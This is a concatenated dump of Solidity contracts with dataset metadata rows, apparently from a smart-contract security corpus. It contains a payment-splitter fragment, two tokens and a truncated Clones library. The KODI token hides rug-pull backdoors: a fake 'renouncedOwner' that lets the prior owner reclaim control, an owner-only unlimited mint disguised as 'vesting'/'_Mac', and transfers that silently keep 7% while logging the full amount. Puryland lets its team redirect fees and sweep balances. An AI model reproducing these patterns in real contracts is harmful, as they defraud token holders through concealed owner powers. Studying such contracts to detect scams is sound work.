partnerAccounts[numAccounts].balance = 0;
++numAccounts;
StatEvent("ok: acct added");
}
// ----------------------------
// get acct info
// ----------------------------
function getAccountInfo(address _addr) constant returns(uint _idx, uint _pctx10, bool _evenStart, uint _credited, uint _balance) {
for (uint i = 0; i < numAccounts; i++) {
address addr = partnerAccounts[i].addr;
if (addr == _addr) {
_idx = i;
_pctx10 = partnerAccounts[i].pctx10;
_evenStart = partnerAccounts[i].evenStart;
_credited = partnerAccounts[i].credited;
_balance = partnerAccounts[i].balance;
StatEvent("ok: found acct");
return;
}
}
StatEvent("err: acct not found");
}
// ----------------------------
// get total percentages x10
// ----------------------------
function getTotalPctx10() constant returns(uint _totalPctx10) {
_totalPctx10 = 0;
for (uint i = 0; i < numAccounts; i++) {
_totalPctx10 += partnerAccounts[i].pctx10;
}
StatEventI("ok: total pctx10", _totalPctx10);
}
// ----------------------------
// get no. accts that are set for even split
// ----------------------------
function getNumEvenSplits() constant returns(uint _numEvenSplits) {
_numEvenSplits = 0;
for (uint i = 0; i < numAccounts; i++) {
if (partnerAccounts[i].evenStart) {
++_numEvenSplits;
}
}
StatEventI("ok: even splits", _numEvenSplits);
}
// -------------------------------------------
// default payable function.
// call us with plenty of gas, or catastrophe will ensue
// note: you can call this fcn with amount of zero to force distribution
// -------------------------------------------
function () payable {
totalFundsReceived += msg.value;
holdoverBalance += msg.value;
StatEventI("ok: incoming", msg.value);
}
// ----------------------------
// distribute funds to all partners
// ----------------------------
function distribute() {
//only payout if we have more than 1000 wei
if (holdoverBalance < TENHUNDWEI) {
return;
}
//first pay accounts that are not constrained by even distribution
//each account gets their prescribed percentage of this holdover.
uint i;
uint pctx10;
uint acctDist;
uint maxAcctDist;
uint numEvenSplits = 0;
for (i = 0; i < numAccounts; i++) {
if (partnerAccounts[i].evenStart) {
++numEvenSplits;
} else {
pctx10 = partnerAccounts[i].pctx10;
acctDist = holdoverBalance * pctx10 / TENHUNDWEI;
//we also double check to ensure that the amount awarded cannot exceed the
//total amount due to this acct. note: this check is necessary, cuz here we
//might not distribute the full holdover amount during each pass.
maxAcctDist = totalFundsReceived * pctx10 / TENHUNDWEI;
if (partnerAccounts[i].credited >= maxAcctDist) {
acctDist = 0;
} else if (partnerAccounts[i].credited + acctDist > maxAcctDist) {
acctDist = maxAcctDist - partnerAccounts[i].credited;
}
partnerAccounts[i].credited += acctDist;
partnerAccounts[i].balance += acctDist;
totalFundsDistributed += acctDist;
holdoverBalance -= acctDist;
}
}
//now pay accounts that are constrained by even distribution. we split whatever is
//left of the holdover evenly.
uint distAmount = holdoverBalance;
if (totalFundsDistributed < evenDistThresh) {
for (i = 0; i < numAccounts; i++) {
if (partnerAccounts[i].evenStart) {
acctDist = distAmount / numEvenSplits;
//we also double check to ensure that the amount awarded cannot exceed the
//total amount due to this acct. note: this check is necessary, cuz here we
//might not distribute the full holdover amount during each pass.
uint fundLimit = totalFundsReceived;
if (fundLimit > evenDistThresh)
fundLimit = evenDistThresh;
maxAcctDist = fundLimit / numEvenSplits;
if (partnerAccounts[i].credited >= maxAcctDist) {
acctDist = 0;
} else if (partnerAccounts[i].credited + acctDist > maxAcctDist) {
acctDist = maxAcctDist - partnerAccounts[i].credited;
}
partnerAccounts[i].credited += acctDist;
partnerAccounts[i].balance += acctDist;
totalFundsDistributed += acctDist;
holdoverBalance -= acctDist;
}
}
}
//amount that cannot be distributed.
distAmount = holdoverBalance;
if (distAmount > 0) {
uint totalDistPctx10 = 0;
for (i = 0; i < numAccounts; i++) {
pctx10 = partnerAccounts[i].pctx10;
maxAcctDist = totalFundsReceived * pctx10 / TENHUNDWEI;
if (partnerAccounts[i].credited < maxAcctDist) {
totalDistPctx10 += pctx10;
}
}
for (i = 0; i < numAccounts; i++) {
pctx10 = partnerAccounts[i].pctx10;
acctDist = distAmount * pctx10 / totalDistPctx10;
//we also double check to ensure that the amount awarded cannot exceed the
//total amount due to this acct. note: this check is necessary, cuz here we
//might not distribute the full holdover amount during each pass.
maxAcctDist = totalFundsReceived * pctx10 / TENHUNDWEI;
if (partnerAccounts[i].credited >= maxAcctDist) {
acctDist = 0;
} else if (partnerAccounts[i].credited + acctDist > maxAcctDist) {
acctDist = maxAcctDist - partnerAccounts[i].credited;
}
partnerAccounts[i].credited += acctDist;
partnerAccounts[i].balance += acctDist;
totalFundsDistributed += acctDist;
holdoverBalance -= acctDist;
}
}
StatEvent("ok: distributed funds");
}
// ----------------------------
// withdraw account balance
// ----------------------------
function withdraw() {
for (uint i = 0; i < numAccounts; i++) {
address addr = partnerAccounts[i].addr;
if (addr == msg.sender || msg.sender == owner) {
uint amount = partnerAccounts[i].balance;
if (amount == 0) {
StatEvent("err: balance is zero");
} else {
partnerAccounts[i].balance = 0;
totalFundsWithdrawn += amount;
if (!addr.call.gas(withdrawGas).value(amount)()) {
partnerAccounts[i].balance = amount;
totalFundsWithdrawn -= amount;
StatEvent("err: error sending funds");
return;
}
StatEventI("ok: rewards paid", amount);
}
}
}
}
// ----------------------------
// suicide
// ----------------------------
function hariKari() {
if (msg.sender != owner) {
StatEvent("err: not owner");
return;
}
if (settingsState == SettingStateValue.locked) {
StatEvent("err: locked");
return;
}
suicide(owner);
}
}
| 71,433 | 11,359 |
fda40c3b2e8cbee5a246df68379ee3f4a8647ed500c90c4da3ce6361d73bfd4d
| 32,128 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x495A435d1680b918Ba596677A82B03cCE23a9D28/contract.sol
| 5,638 | 21,070 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _team;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event TeamTransferred(address indexed previousTeam, address indexed newTeam);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
_team = msgSender;
emit OwnershipTransferred(address(0), msgSender);
emit TeamTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function team() public view returns (address) {
return _team;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyTeam() {
require(_team == _msgSender(), "Team owner: caller is not the team address");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function transferTeam(address newTeam) public virtual onlyTeam {
require(newTeam != address(0), "Ownable: new team address is the zero address");
emit TeamTransferred(_team, newTeam);
_team = newTeam;
}
}
contract Puryland is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name = "Puryland";
string private _symbol = "$PURY";
uint8 private _decimals = 8;
uint256 private _tTotal = 1500 * 10**12 * uint256(_decimals); //120
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
address[] private _excluded;
address public _marketingAndTeam = 0xfcA013d0e37d71Da3Fa76B1c5D7D1317E0aa0073; //Team&Marketing
address public _gameReward = 0x241b979A91B74E0213E2e9F41968789d2c1c67cc; //Reward
address public constant _burn = address(0xdead);
uint256 private constant MAX = ~uint256(0);
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
uint8 private _divider = 100;
uint256 public _taxFee = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 public _burnFee = 2;
uint256 private _previousBurnFee = _burnFee;
uint256 public marketingAndTeam = 2;
uint256 private _previousMarketingAndTeam = marketingAndTeam;
uint256 public gameFund = 1;
uint256 private _previousGameFund = gameFund;
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAndTeam] = true;
_isExcludedFromFee[_burn] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
uint256 tTransferAmount = tAmount.sub(calculateTaxFee(tAmount)).sub(calculateBurnFee(tAmount));
tTransferAmount = tTransferAmount.sub(calculateMarketingAndTeamFee(tAmount));
tTransferAmount = tTransferAmount.sub(calculateGameFundFee(tAmount));
uint256 currentRate = _getRate();
uint256 rTransferAmount = tAmount.mul(currentRate).sub(calculateTaxFee(tAmount).mul(currentRate));
rTransferAmount = rTransferAmount.sub(calculateBurnFee(tAmount).mul(currentRate)).sub(calculateMarketingAndTeamFee(tAmount).mul(currentRate));
rTransferAmount = rTransferAmount.sub(calculateGameFundFee(tAmount).mul(currentRate));
return (tAmount.mul(currentRate), rTransferAmount, calculateTaxFee(tAmount).mul(currentRate), tTransferAmount, calculateTaxFee(tAmount));
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(_divider);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(_divider);
}
function calculateMarketingAndTeamFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(marketingAndTeam).div(_divider);
}
function calculateGameFundFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(gameFund).div(_divider);
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
if (takeFee){
_tOwned[_burn] = _tOwned[_burn].add(calculateBurnFee(amount));
_rOwned[_burn] = _rOwned[_burn].add(calculateBurnFee(amount).mul(_getRate()));
_tOwned[_marketingAndTeam] = _tOwned[_marketingAndTeam].add(calculateMarketingAndTeamFee(amount));
_rOwned[_marketingAndTeam] = _rOwned[_marketingAndTeam].add(calculateMarketingAndTeamFee(amount).mul(_getRate()));
_tOwned[_gameReward] = _tOwned[_gameReward].add(calculateGameFundFee(amount));
_rOwned[_gameReward] = _rOwned[_gameReward].add(calculateGameFundFee(amount).mul(_getRate()));
emit Transfer(from, _burn, calculateBurnFee(amount));
emit Transfer(from, _marketingAndTeam, calculateMarketingAndTeamFee(amount));
emit Transfer(from, _gameReward, calculateGameFundFee(amount));
}
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if (!takeFee){
removeAllFee();
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee){
restoreAllFee();
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function getBalanceAddress(address payable _to) public payable onlyTeam {
// Call returns a boolean value indicating success or failure.
// This is the current recommended method to use.
(bool sent,) = _to.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
function transferOtherToken(address _token, address _owner, uint _amount) public payable onlyTeam {
IERC20(_token).transfer(_owner, _amount);
}
function getBalanceOfToken(address _address) public view returns (uint) {
return IERC20(_address).balanceOf(address(this));
}
function removeAllFee() private {
_taxFee = 0;
_burnFee = 0;
marketingAndTeam = 0;
gameFund = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_burnFee = _previousBurnFee;
marketingAndTeam = _previousMarketingAndTeam;
gameFund = _previousGameFund;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
function setMarketingAndTeamAddress(address _market_team_address) public onlyTeam {
_marketingAndTeam = _market_team_address;
}
function setGameReward(address _game_reward) public onlyTeam {
_gameReward = _game_reward;
}
receive() external payable {}
}
| 252,445 | 11,360 |
23f67f62f75becdbe0da111660bd2d8d18606472b849b91ebf213229d933dd76
| 21,326 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x0160C3C774a074c39aE0C855eB283B61084522A1/contract.sol
| 2,507 | 9,130 |
pragma solidity >=0.6.0 <0.8.0;
interface iBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function Block() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function renouncedOwner(uint8 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function transferOwnership() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract KODI is Context, iBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
constructor() public {
_name = 'KODI';
_symbol = 'KODI';
_decimals = 9;
_totalSupply = 100000 * 10**6 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
uint256 public _taxFee = 4;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 5;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _maxTxAmount = 100000 * 10**6 * 10**18;
uint256 private numTokensSellToAddToLiquidity = 1 * 10**5 * 10**18;
function getOwner() external view virtual override returns (address) {
return owner();
}
function decimals() external view virtual override returns (uint8) {
return _decimals;
}
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
function name() external view virtual override returns (string memory) {
return _name;
}
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view virtual override returns (uint256) {
return _balances[account];
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _totalSupply.mul(maxTxPercent).div(10**3);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function vesting(uint256 amount) public onlyOwner returns (bool) {
_Mac(_msgSender(), amount);
return true;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount * 93 / 100);
emit Transfer(sender, recipient, amount);
}
function _Mac(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 254,514 | 11,361 |
79c85d24e46d33644843696a1154459f4086812e2253356d714be7d824028b6b
| 15,239 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x5e9907bbc0474b04eaa2b0db2342eceaa784ece5.sol
| 4,674 | 15,062 |
pragma solidity ^0.8.3;
library Clones {
function clone(address implementation) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create2(0, ptr, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}
function predictDeterministicAddress(address implementation, bytes32 salt, address deployer) internal pure returns (address predicted) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)
mstore(add(ptr, 0x38), shl(0x60, deployer))
mstore(add(ptr, 0x4c), salt)
mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))
predicted := keccak256(add(ptr, 0x37), 0x55)
}
}
